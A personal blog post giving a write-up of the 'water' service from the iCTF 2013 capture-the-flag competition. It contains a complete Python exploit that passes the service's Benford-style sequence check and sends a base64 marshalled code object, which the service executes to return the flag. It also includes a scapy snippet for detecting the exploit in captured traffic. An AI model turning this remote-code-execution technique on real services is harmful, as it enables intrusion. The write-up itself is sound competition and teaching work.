Skip to content

ictf 2013 water write up

I want to give a quick write up for the water service in the ictf 2013 that just ended.

The service was written in python and the vulnerability could be found, when the function calculate returns "True". Then you were able to create your own python function that was executed. The source line (when I recall right) was like:


types.FunctionType(marshal.loads(base64.b64decode(data), globals())(clientsocket)
 


(sorry, I did not copy the source code)

The calculate() function created an array with 9 static values which were used as an upper and lower limit for a sequence one could enter. The sequence is used to create an array with exactly 9 unique indices where the value to these indices was the count of this index in the sequence. After some trying to create an logic that creates the right unique sequence number (because the service will remember the sequence number ... so you have to use a new one) we came up with this quick exploit (it uses the exploit framework of the ictf 2013):



#!/usr/bin/env python

import math
from socket import *
from time import time
from time import sleep
import sys
import re

BUFSIZE = 1024

class Client:
        def __init__(s,host,port):
                s.__HOST = host
                s.__PORT = port
                s.__ADDR = (s.__HOST,s.__PORT)
                s.__sock = None
 
        def makeConnection(s):
#               for TCP connection
                s.__sock = socket( AF_INET,SOCK_STREAM)
#               for UDP connection
#               s.__sock = socket( AF_INET,SOCK_DGRAM)
                s.__sock.connect(s.__ADDR)
 
        def sendCmd(s, cmd):
#               print cmd
                s.__sock.send(cmd)
 
        def getResults(s):
                return s.__sock.recv(BUFSIZE)

        def close(s):
                s.__sock.close()



class Exploit():
        def calculate(self, sequence):
                m = []
                for i in range(1,10):
                        m.append(math.log10(1+1.0/i))

                nums = [x[0] for x in sequence.split(",")]

                o = {}

                for num in nums:
                        if num in o:
                                o[num] += 1
                        else:
                                o[num] = 1

                if len(o) != 9:
#                       print sequence
                        return False
                else:
                        for d in sorted(o):
#                       print "THIS ROUND %s" %d
#                       print ">= %s" % (m[int(d)-1] - 0.05)
#                       print "<= %s" % (m[int(d)-1] + 0.05)
#                       print float(o[d]) / sum([int(x) for x in o.values()])

                                if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
                                        return d, (m[int(d)-1] - 0.05), (m[int(d)-1] + 0.05), float(o[d]) / sum([int(x) for x in o.values()])

                # use 13 as value for true
                return 13, 0, 0, 0


        def execute(self, ip, port, flag_id):

                sequence = "1,2,3,4,5,6,7,8,9"
                next_value = 1


                '''
                >>> def test(s):
                ...     s.send(flag)
                ...
                >>> base64.b64encode(marshal.dumps(test.__code__))
                'YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNl
bmR0BAAAAGZsYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=='


                =>

                PAYLOAD: YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZ
sYWcoAQAAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ==
                '''


                payload = "YwEAAAABAAAAAgAAAEMAAABzEQAAAHwAAGoAAHQBAIMBAAFkAABTKAEAAABOKAIAAAB0BAAAAHNlbmR0BAAAAGZsYWcoAQ
AAAHQBAAAAcygAAAAAKAAAAABzBwAAADxzdGRpbj50BAAAAHRlc3QBAAAAcwIAAAAAAQ=="


                while True:
                        erg, down_limit, up_limit, calc_value = self.calculate(sequence)


                        if erg == 13:
                                if len(sequence) < 1022:
#                                       print "NEW SEQUENCE:"
#                                       print sequence
#                                       print ""

                                        try:

                                                client = Client(ip, port)

                                                client.makeConnection()
                                                data = client.getResults()
                                                if data == "Welcome back. Please insert your measurement\n:":
                                                        client.sendCmd(sequence)
                                                        data = client.getResults()
                                                        if data == "Thanks, but we have already seen this measurement\n":
                                                                pass
#                                                               print "sequence already used"
                                                        elif data == "Floods ahead! Please enter your command\n:":
                                                                client.sendCmd(payload)
                                                                data = client.getResults()
                                                                if re.match("^FLG.{13}$", data):
                                                                        # flag found
                                                                        self.flag = data
                                                                        client.close()
#                                                                       print data
                                                                        return
                               
                                                client.close()
                                        except:
                                                pass


                                        sequence += ","
                                        sequence += str(next_value)
                                        next_value = ((next_value + 1) % 9)+1
                                else:
                                        # generate new sequence
                                        sequence = str(next_value)
                                        next_value = ((next_value+1) % 9)+1
                                        for i in range(9):
                                                sequence += ","
                                                sequence += str(next_value)
                                                next_value = ((next_value+1) % 9)+1
                        else:
                                if calc_value < down_limit:
                                        sequence += ','
                                        sequence += erg
                                else:
                                        sequence += ','
                                        sequence += str(next_value)
                                        next_value = ((next_value + 1) % 9)+1


        def result(self):
                return {'FLAG': self.flag}
 



If you wanted to find this exploit in the netflow ...





... you could do some quick and dirty searching with scapy for this:



[...]
for pkt in pkts:
        for i in range(len(netflow_data)):
                if pkt.getlayer(TCP).dport == 3333 and pkt.haslayer(Raw) and pkt.getlayer(TCP).sport == int(netflow_data[i][0],10):
                        data=pkt.getlayer(Raw).load

                        # workaround: search for base64 in data
                        if re.search(r"[A-Z]", data) and re.search(r"[a-z]", data) and re.search(r"[0-9]", data) and len(data) >= 200 and not re.search(r",", data):
                                print "Exploit found!"
                                print "ID: %s" % netflow_data[i][1]
[...]
 


But besides the network disaster it was a nice ctf :-) Thanks to the organizers ....
Categories: CTF

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

The author does not allow comments to this entry

Add Comment

Standard emoticons like :-) and ;-) are converted to images.
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.
Form options

Submitted comments will be subject to moderation before being displayed.